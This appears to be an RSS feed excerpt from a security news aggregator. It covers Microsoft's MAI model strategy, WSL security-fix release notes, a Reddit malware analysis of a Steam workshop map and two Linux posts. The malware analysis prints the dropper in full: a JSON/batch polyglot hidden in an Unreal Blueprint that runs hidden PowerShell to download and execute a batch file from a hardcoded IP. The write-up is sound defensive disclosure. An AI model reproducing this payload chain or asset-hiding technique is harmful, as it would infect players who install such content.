href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.</p><p>Perhaps the most consequential deployment sits in healthcare. Microsoft's <a href="https://www.microsoft.com/en-us/health-solutions/clinical-workflow/dragon-copilot">Dragon Copilot</a>, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.</p><h2><b>Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel</b></h2><p>In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "<a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">hill-climbing machine</a>," an integrated flywheel of data, models, and the product "harness" that surrounds them.</p><p>The clearest example is <a href="https://microsoft.ai/news/introducingmai-code-1-flash/">MAI-Code-1-Flash</a>, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.</p><p>Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further <a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">trained it inside an Excel reinforcement learning environment</a>, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.</p><p>That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.</p><h2><b>Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship</b></h2><p>Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "<a href="https://x.com/satyanadella/status/2080329851127669104">Frontier Diffusion &amp; Control</a>," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."</p><p>Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?</p><p>Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." </p><p>“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s <a href="https://www.reuters.com/legal/litigation/microsoft-end-exclusive-license-openais-technology-2026-04-27/">exclusive license to OpenAI’s technology</a> had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had <a href="https://www.theinformation.com/articles/microsoft-buy-ai-anthropic-shift-openai">begun incorporating Anthropic models</a> into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”</p><h2><b>Developers cheer cheaper task-specific models while skeptics question Microsoft's track record</b></h2><p>The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, <a href="https://x.com/mavihsk/status/2080330529547993252">@mavihsk</a>, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, <a href="https://x.com/nabu_lines/status/2080343512780837226">@nabu_lines</a>, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."</p><p>Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer <a href="https://x.com/designedbyabin/status/2080332368301412434">@designedbyabin</a>, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, <a href="https://x.com/tokenoverflow/status/2080386145712824694">@tokenoverflow</a>, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."</p><p>The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.</p><p>But the strategy's logic does not depend on any single number. Nadella's framing that software now has "<a href="https://x.com/satyanadella/status/2080329851127669104">real marginal cost for the first time</a>" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.</p><h2><b>Why Microsoft is turning its internal AI playbook into an Azure product</b></h2><p>The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.</p><p>The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to <a href="https://copilot.microsoft.com/">Copilot Chat</a>, <a href="https://outlook.live.com/mail/">Outlook</a>, and <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, and both new models are available in public preview through <a href="https://azure.microsoft.com/en-us/products/ai-foundry">Microsoft Foundry</a> and the <a href="https://playground.microsoft.ai/">MAI Playground</a>. "None of this is an endpoint," the company wrote. "We're just getting started."</p><p>Seven years ago, <a href="https://www.cnbc.com/2024/08/10/rise-of-openai-microsofts-13-billion-artificial-intelligence-bet.html">Microsoft bet more than $13 billion</a> that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2.7.11: Backport security fixes to release/2.7 (#41155)]]></title>
<description><![CDATA[Bump Microsoft.NETCore.App.Runtime to 10.0.8 (CVE-2026-32175) (#40581)

Fixes Dependabot alerts #24 and #25.
Co-authored-by: Ben Hillis benhillis@microsoft.com
Co-authored-by: Copilot 223556219+Copilot@users.noreply.github.com
(cherry picked from commit 09a8afe)

Update MSRDC to 1.2.7214 to fix C...]]></description>
<link>https://tsecurity.de/de/3690494/downloads/2711-backport-security-fixes-to-release27-41155/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690494/downloads/2711-backport-security-fixes-to-release27-41155/</guid>
<pubDate>Fri, 24 Jul 2026 02:33:47 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Bump Microsoft.NETCore.App.Runtime to 10.0.8 (<a title="CVE-2026-32175" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-rg75-q538-x34v/hovercard" href="https://github.com/advisories/GHSA-rg75-q538-x34v">CVE-2026-32175</a>) (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472592856" data-permission-text="Title is private" data-url="https://github.com/microsoft/WSL/issues/40581" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/WSL/pull/40581/hovercard" href="https://github.com/microsoft/WSL/pull/40581">#40581</a>)</li>
</ul>
<p>Fixes Dependabot alerts <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="146576597" data-permission-text="Title is private" data-url="https://github.com/microsoft/WSL/issues/24" data-hovercard-type="issue" data-hovercard-url="/microsoft/WSL/issues/24/hovercard" href="https://github.com/microsoft/WSL/issues/24">#24</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="146587025" data-permission-text="Title is private" data-url="https://github.com/microsoft/WSL/issues/25" data-hovercard-type="issue" data-hovercard-url="/microsoft/WSL/issues/25/hovercard" href="https://github.com/microsoft/WSL/issues/25">#25</a>.</p>
<p>Co-authored-by: Ben Hillis <a href="mailto:benhillis@microsoft.com">benhillis@microsoft.com</a><br>
Co-authored-by: Copilot <a href="mailto:223556219+Copilot@users.noreply.github.com">223556219+Copilot@users.noreply.github.com</a><br>
(cherry picked from commit <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/microsoft/WSL/commit/09a8afeeec5c2f14822b0917d3be81b7b5d604c0/hovercard" href="https://github.com/microsoft/WSL/commit/09a8afeeec5c2f14822b0917d3be81b7b5d604c0"><tt>09a8afe</tt></a>)</p>
<ul>
<li>Update MSRDC to 1.2.7214 to fix <a title="CVE-2026-32157" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-5468-67hp-7rjg/hovercard" href="https://github.com/advisories/GHSA-5468-67hp-7rjg">CVE-2026-32157</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4728860745" data-permission-text="Title is private" data-url="https://github.com/microsoft/WSL/issues/40882" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/WSL/pull/40882/hovercard" href="https://github.com/microsoft/WSL/pull/40882">#40882</a>)</li>
</ul>
<p>Bumps Microsoft.RemoteDesktop.Client.MSRDC.SessionHost from 1.2.6676 to<br>
1.2.7214. This closes <a title="CVE-2026-32157" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-5468-67hp-7rjg/hovercard" href="https://github.com/advisories/GHSA-5468-67hp-7rjg">CVE-2026-32157</a> (a use-after-free RCE in the Remote<br>
Desktop client, first fixed in 1.2.7099) along with several additional<br>
CVEs shipped in 1.2.7214.</p>
<p>Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718860855" data-permission-text="Title is private" data-url="https://github.com/microsoft/WSL/issues/40868" data-hovercard-type="issue" data-hovercard-url="/microsoft/WSL/issues/40868/hovercard" href="https://github.com/microsoft/WSL/issues/40868">#40868</a></p>
<p>Co-authored-by: Ben Hillis <a href="mailto:benhill@ntdev.microsoft.com">benhill@ntdev.microsoft.com</a><br>
Co-authored-by: Copilot <a href="mailto:223556219+Copilot@users.noreply.github.com">223556219+Copilot@users.noreply.github.com</a><br>
(cherry picked from commit <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/microsoft/WSL/commit/2a7269e8ab30e635a09f66994374a7e5caedc334/hovercard" href="https://github.com/microsoft/WSL/commit/2a7269e8ab30e635a09f66994374a7e5caedc334"><tt>2a7269e</tt></a>)</p>
<ul>
<li>Update .NET runtime to 10.0.9 to fix <a title="CVE-2026-45491" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-7q4v-2mr6-5gpx/hovercard" href="https://github.com/advisories/GHSA-7q4v-2mr6-5gpx">CVE-2026-45491</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4729118601" data-permission-text="Title is private" data-url="https://github.com/microsoft/WSL/issues/40883" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/WSL/pull/40883/hovercard" href="https://github.com/microsoft/WSL/pull/40883">#40883</a>)</li>
</ul>
<p>Bumps Microsoft.NETCore.App.Runtime.win-x64 and win-arm64 from 10.0.8 to<br>
10.0.9 to address <a title="CVE-2026-45491" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-7q4v-2mr6-5gpx/hovercard" href="https://github.com/advisories/GHSA-7q4v-2mr6-5gpx">CVE-2026-45491</a> (.NET tampering vulnerability), reported<br>
by Dependabot. Both runtime packages are bumped together to keep the<br>
.NET runtime version in sync across architectures.</p>
<p>Co-authored-by: Ben Hillis <a href="mailto:benhill@ntdev.microsoft.com">benhill@ntdev.microsoft.com</a><br>
Co-authored-by: Copilot <a href="mailto:223556219+Copilot@users.noreply.github.com">223556219+Copilot@users.noreply.github.com</a><br>
(cherry picked from commit <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/microsoft/WSL/commit/73a6afb011ef36731ea1f038d74e985f41a2a937/hovercard" href="https://github.com/microsoft/WSL/commit/73a6afb011ef36731ea1f038d74e985f41a2a937"><tt>73a6afb</tt></a>)</p>
<hr>
<p>Co-authored-by: Ben Hillis <a href="mailto:benhillis@microsoft.com">benhillis@microsoft.com</a><br>
Co-authored-by: Copilot <a href="mailto:223556219+Copilot@users.noreply.github.com">223556219+Copilot@users.noreply.github.com</a><br>
Co-authored-by: Ben Hillis <a href="mailto:benhill@ntdev.microsoft.com">benhill@ntdev.microsoft.com</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)]]></title>
<description><![CDATA[Table of Contents  Intro Initial Symptom First Look at the Workshop Files Verifying the Asset Files AssetRegistry.bin Reveals the First Clue Opening the UE5 Asset Container Reverse Engineering the Blueprint Extracting the Embedded Payload Analyzing the Dropper Script Confirming Execution on an Af...]]></description>
<link>https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</guid>
<pubDate>Fri, 24 Jul 2026 00:21:11 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><h1>Table of Contents</h1> <ul> <li>Intro</li> <li>Initial Symptom</li> <li>First Look at the Workshop Files</li> <li>Verifying the Asset Files</li> <li>AssetRegistry.bin Reveals the First Clue</li> <li>Opening the UE5 Asset Container</li> <li>Reverse Engineering the Blueprint</li> <li>Extracting the Embedded Payload</li> <li>Analyzing the Dropper Script</li> <li>Confirming Execution on an Affected PC</li> <li>Did the Second Stage Execute?</li> <li>Analysis Summary</li> <li>Limitations &amp; Unknowns</li> <li>IOCs</li> <li>Final verdict</li> </ul> <p>A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.</p> <p>What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.</p> <p>I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.</p> <p><a href="https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51">https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51</a></p> <p><strong>1): The Initial Symptom</strong></p> <p>A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.</p> <p><strong>2): First Look at the Workshop Files</strong></p> <p>The workshop content is located here:</p> <pre><code>Steam\steamapps\workshop\content\4704690\3765145606\ </code></pre> <p>At first glance, there’s nothing suspicious in the folder. The contents are:</p> <pre><code>AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc </code></pre> <p>There are no executables, DLLs, batch files, or scripts. The <code>.pak</code>, <code>.ucas</code>, and <code>.utoc</code> files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.</p> <p>This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.</p> <p><strong>3): Verifying the Asset Files</strong></p> <p>File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.</p> <p>The results:</p> <ul> <li>utoc starts with <code>-==--==--==--==-</code>, which is the real IoStore magic</li> <li>pak has the correct <code>0x5A6F12E1</code> footer magic</li> <li>no MZ/PE, ELF or ZIP headers anywhere in any file</li> </ul> <p>The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.</p> <p><strong>4): AssetRegistry.bin Reveals the First Clue</strong></p> <p>This is the detail that stands out most from the entire investigation.</p> <p>AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.</p> <p>However, one Blueprint actor immediately stands out:</p> <pre><code>/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0 </code></pre> <p>Its class resolves as:</p> <pre><code>BP_AmbientController_C </code></pre> <p>Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.</p> <p>In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.</p> <p>That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.</p> <p>The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.</p> <p><strong>5): Opening the UE5 Asset Container</strong></p> <p>The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:</p> <pre><code>chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed </code></pre> <p>No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.</p> <p>The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.</p> <p>Searching across the extracted asset data revealed only a small number of notable references:</p> <pre><code>ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1 </code></pre> <p>These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.</p> <p><strong>6): Reverse Engineering the Blueprint</strong></p> <p>The complete function chain is:</p> <pre><code>ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile </code></pre> <p>Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.</p> <p>Tracing the Blueprint bytecode shows the path construction:</p> <pre><code>dir = GetPlatformUserDir() // C:/Users/&lt;user&gt;/Documents/ path = dir + "s.bat" </code></pre> <p>ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.</p> <p><strong>7): Extracting the Embedded Payload</strong></p> <p>A single embedded string inside the Blueprint contains the following data:</p> <pre><code>{"x\"&amp;if not defined _Z (set _Z=1&amp;start /min cmd /c %~f0&amp;exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&amp;exit)&amp;\"x":"1"} </code></pre> <p>The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.</p> <p>This format is significant because the earlier Blueprint analysis showed that the file-writing step uses <code>ToFile</code>, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.</p> <p>The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.</p> <p><strong>8): Analyzing the Dropper Script</strong></p> <p>The extracted script is also human-readable:</p> <pre><code>if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit ) </code></pre> <p>The script uses a simple two-stage execution flow.</p> <p>On the first run, <code>_Z</code> is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.</p> <p>On the second run, the <code>_Z</code> variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads <code>steamb.bat</code> from a hardcoded external address, saves it to the temporary directory, and executes it.</p> <p>The <code>_Z</code> check appears to exist solely to prevent the script from repeatedly relaunching itself.</p> <p>The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.</p> <p><strong>9): Confirming Execution on an Affected PC</strong></p> <p>On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.</p> <p>This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.</p> <p><a href="https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32">https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32</a></p> <p><strong>10): Did the second stage execute?</strong></p> <p>The second-stage file, <code>%TEMP%\s.bat</code>, was not present on the affected machine. The PowerShell Operational log explains why:</p> <p><a href="https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70">https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70</a></p> <p>The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following <code>cmd /c</code> command had no script to execute.</p> <p>On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.</p> <p>The address embedded in the script resolves to <code>31.57.34.228</code>. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).</p> <p>This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.</p> <p><a href="https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026">https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026</a></p> <p><strong>11): Analysis Summary</strong></p> <p>Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:</p> <ul> <li>The Workshop uploader account appears to have been created only about one week before the item was published</li> <li>The Workshop map currently does not allow users to leave comments or ratings</li> <li>The only Blueprint containing custom logic was originally identified as <code>BP_RCE_Test</code> and later appeared under a name consistent with a harmless environment or lighting controller.</li> <li>The Blueprint executes automatically through <code>ReceiveBeginPlay</code>, rather than requiring an intentional user action inside the map.</li> <li>Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.</li> <li>The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.</li> <li>That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.</li> </ul> <p>What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.</p> <p><strong>12): Limitations &amp; Unknowns</strong></p> <p><strong>What does</strong> <code>steamb.bat</code> <strong>do?</strong></p> <p>Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.</p> <h1>IOCs</h1> <pre><code>Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9 </code></pre> <p><strong>Final Verdict</strong></p> <p>Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.</p> <p>What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.</p> <p>I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another <code>.bat</code> file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.</p> <p>Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data</p> <p>Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.</p> <p>Cheers and stay safe!</p> <p>FeintBe</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/feintbe"> /u/feintbe </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Community Fedora Remix 12.3 hopefully soon to be archived :)]]></title>
<description><![CDATA[In a batch of software CDs I found at the thrift store long my interest in Linux, I found a previously unarchived version of Fedora. I will be posting it on archive.org as soon as I rip it. I also have a potentially-working copy of PCLinuxOS 2007, but on the computer I tested it on, it kicks me o...]]></description>
<link>https://tsecurity.de/de/3690328/linux-tipps/community-fedora-remix-123-hopefully-soon-to-be-archived/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690328/linux-tipps/community-fedora-remix-123-hopefully-soon-to-be-archived/</guid>
<pubDate>Fri, 24 Jul 2026 00:13:09 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>In a batch of software CDs I found at the thrift store long my interest in Linux, I found a previously unarchived version of Fedora. I will be posting it on archive.org as soon as I rip it. I also have a potentially-working copy of PCLinuxOS 2007, but on the computer I tested it on, it kicks me out to a basic shell due to some kind of error. If I can get it to work, I can upload it stand-alone since it only seems to preserved in archives or Linux User magazine and !com magazine cover DVDs (the former or which has a LOT of potentially otherwise-unarchived distro versions)</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Iheretomakeonepost"> /u/Iheretomakeonepost </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4lef3/community_fedora_remix_123_hopefully_soon_to_be/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4lef3/community_fedora_remix_123_hopefully_soon_to_be/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts]]></title>
<description><![CDATA[Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place. I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their fea...]]></description>
<link>https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</guid>
<pubDate>Fri, 24 Jul 2026 00:13:06 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
